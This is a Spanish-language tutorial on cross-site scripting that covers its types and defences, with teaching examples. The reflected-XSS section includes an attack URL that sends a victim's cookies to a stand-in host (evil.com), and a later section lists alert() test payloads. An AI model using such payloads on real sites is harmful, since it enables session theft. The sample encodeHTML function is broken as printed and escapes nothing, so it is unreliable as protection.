Entendiendo los Ataques XSS
Cross-Site Scripting (XSS) ocurre cuando los atacantes inyectan scripts maliciosos en páginas web vistas por otros usuarios. XSS está consistentemente en el OWASP Top 10 y puede llevar al secuestro de sesiones, robo de datos y toma de control de cuentas.
Tipos de XSS
1. XSS Reflejado
El script malicioso viene de la solicitud HTTP actual:
<!-- Código vulnerable -->
<p>Resultados de búsqueda para: <?php echo $_GET['query']; ?></p>
<!-- URL de ataque -->
https://example.com/search?query=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
2. XSS Almacenado
El script malicioso se almacena permanentemente en el servidor:
// Vulnerable: Almacenar y mostrar comentarios de usuarios sin sanitización
app.post('/comment', (req, res) => {
db.save({ comment: req.body.comment }); // Almacenado tal cual
});
// Mostrado después:
<div>{comment}</div> // Si el comentario contiene script, se ejecuta
3. XSS Basado en DOM
La vulnerabilidad existe en el código del lado del cliente:
// Vulnerable: Usando innerHTML con datos no confiables
const name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hola, ' + name;
// URL de ataque:
// ?name=<img src=x onerror=alert('XSS')>
Estrategias de Prevención de XSS
1. Codificación de Salida
// Codificar entidades HTML
function encodeHTML(str) {
return str
.replace(/&/g, '&')
.replace(//g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// Usar template literals de forma segura
const userInput = '<script>alert("xss")</script>';
element.textContent = userInput; // Seguro - auto-codificado
element.innerHTML = encodeHTML(userInput); // Seguro - codificado manualmente
2. Protección Integrada de React
// React automáticamente escapa valores en JSX
function Comment({ text }) {
// Seguro - React escapa el texto
return <div>{text}</div>;
}
// PELIGROSO - evita la protección de React
function UnsafeComment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// Si debes usar dangerouslySetInnerHTML, sanitiza primero:
import DOMPurify from 'dompurify';
function SafeHTML({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
3. Política de Seguridad de Contenido (CSP)
// Cabecera CSP estricta
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
"script-src 'self' 'nonce-randomValue123'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self'",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
].join('; '));
// En HTML, usa nonce para scripts inline
<script nonce="randomValue123">
// Este script se ejecutará
</script>
4. Validación de Entrada
import { z } from 'zod';
// Definir esquemas estrictos
const commentSchema = z.object({
text: z.string()
.min(1)
.max(1000)
.regex(/^[a-zA-Z0-9\s.,!?'-]+$/), // Solo permitir caracteres seguros
authorId: z.string().uuid(),
});
// Validar entrada
function createComment(input) {
const validated = commentSchema.parse(input);
// Ahora es seguro usar validated.text
}
5. Bibliotecas de Sanitización
// DOMPurify - Navegador
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href'],
});
// sanitize-html - Node.js
const sanitizeHtml = require('sanitize-html');
const clean = sanitizeHtml(dirty, {
allowedTags: ['b', 'i', 'em', 'strong', 'a'],
allowedAttributes: {
'a': ['href']
}
});
Mejores Prácticas de Manipulación del DOM
// INSEGURO: Usando innerHTML
element.innerHTML = userInput;
// SEGURO: Usando textContent
element.textContent = userInput;
// SEGURO: Creando elementos correctamente
const link = document.createElement('a');
link.href = sanitizeURL(userInput);
link.textContent = 'Clic aquí';
element.appendChild(link);
// Sanitización de URL
function sanitizeURL(url) {
try {
const parsed = new URL(url);
if (!['http:', 'https:'].includes(parsed.protocol)) {
return '#';
}
return parsed.href;
} catch {
return '#';
}
}
Pruebas de XSS
// Payloads comunes de prueba XSS
const xssPayloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror=alert("XSS")>',
'<svg onload=alert("XSS")>',
'javascript:alert("XSS")',
'<a href="javascript:alert(1)">click</a>',
'<div onmouseover="alert(1)">hover me</div>',
];
// Prueba tus entradas con estos payloads
// Si alguno se ejecuta, tienes una vulnerabilidad XSS